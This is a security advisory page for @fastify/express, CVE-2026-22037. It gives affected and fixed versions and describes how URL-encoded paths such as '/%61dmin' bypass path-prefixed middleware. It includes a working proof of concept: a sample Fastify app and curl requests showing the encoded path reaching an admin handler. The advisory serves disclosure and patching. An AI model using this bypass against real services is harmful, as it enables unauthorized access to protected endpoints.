Packages / @fastify/express / Security

HighVulnerabilityGHSA-g6q3-96cp-5r5mCVE-2026-22037Published 20 Jan 2026

@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)

Affected releases · @fastify/express

  • 4.x4.0.0 – 4.0.2Fixed in 4.0.3
  • 3.x and older1.0.0 – 3.0.0No fix, no longer updated

On 4.x, the newest line:

npm install @fastify/express@4.0.3
4.x
  1. Affected

    4.0.0 – 4.0.2

    3 releases

  2. Fixed

    4.0.3 – 4.0.8

    6 releases, latest

3.x
  1. Affected

    3.0.0

    1 release

2.x
  1. Affected

    2.0.0 – 2.3.0

    6 releases

1.x
  1. Affected

    1.0.0 – 1.1.0

    2 releases

18 stable releases of @fastify/express, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for @fastify/express. It is read in your browser and sent nowhere.

What happens

Summary

A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register fastify-express for Express-style middleware support
  await fastify.register(require('@fastify/express'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  fastify.get('/admin/dashboard', async (request, reply) => {
    return { message: 'Admin dashboard' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3000 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack.

➜  ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>

(fastify express)

➜  ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}

It differs from CVE-2026-22031 because this is a different npm module with its own code.